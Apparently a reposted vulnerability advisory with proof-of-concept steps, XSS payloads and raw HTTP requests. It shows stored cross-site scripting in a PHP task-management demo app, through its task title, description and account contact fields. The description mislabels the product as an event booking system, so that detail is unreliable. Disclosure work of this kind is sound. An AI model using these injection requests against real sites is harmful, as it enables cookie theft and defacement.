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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS)
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10 
# Vulnerable page: ?page=view_task&id=2

Technical description:

A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. 

xss-1:

1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task"
2) Insert your payload in the "title" and "Task Description" parameter parameter
3) Click save

Proof of concept (Poc):

The following payload will allow you to run the javascript - 

"><img src=# onerror=alert(123)>

---
POST /Actions.php?a=save_task HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 312

Origin: http://localhost

Connection: close

Referer: http://localhost/?page=tasks

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E







xss-2 

1) Navigate to http://localhost.com/?page=manage_account
2) Insert your payload in the "full name" or "contact" or "email"  parameter parameter

Proof of concept (Poc):

The following payload will allow you to run the javascript - 

"><img src=# onerror=alert(123)>




--

POST /Actions.php?a=update_credentials_employee HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384

Content-Length: 1613

Origin: http://localhost

Connection: close

Referer: http://localhost/?page=manage_account

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="id"




1

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="fullname"




John D Smith

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="gender"




Male

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="dob"




1997-06-23

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="contact"




098123456789"><img src=# onerror=alert(123)>

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="email"




jsmith@sample.com

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="address"




Sample Address

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="department_id"




1

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="email"




jsmith@sample.com

-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="password"







-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="old_password"







-----------------------------27882107026209045483167935384

Content-Disposition: form-data; name="avatar"; filename=""

Content-Type: application/octet-stream







-----------------------------27882107026209045483167935384--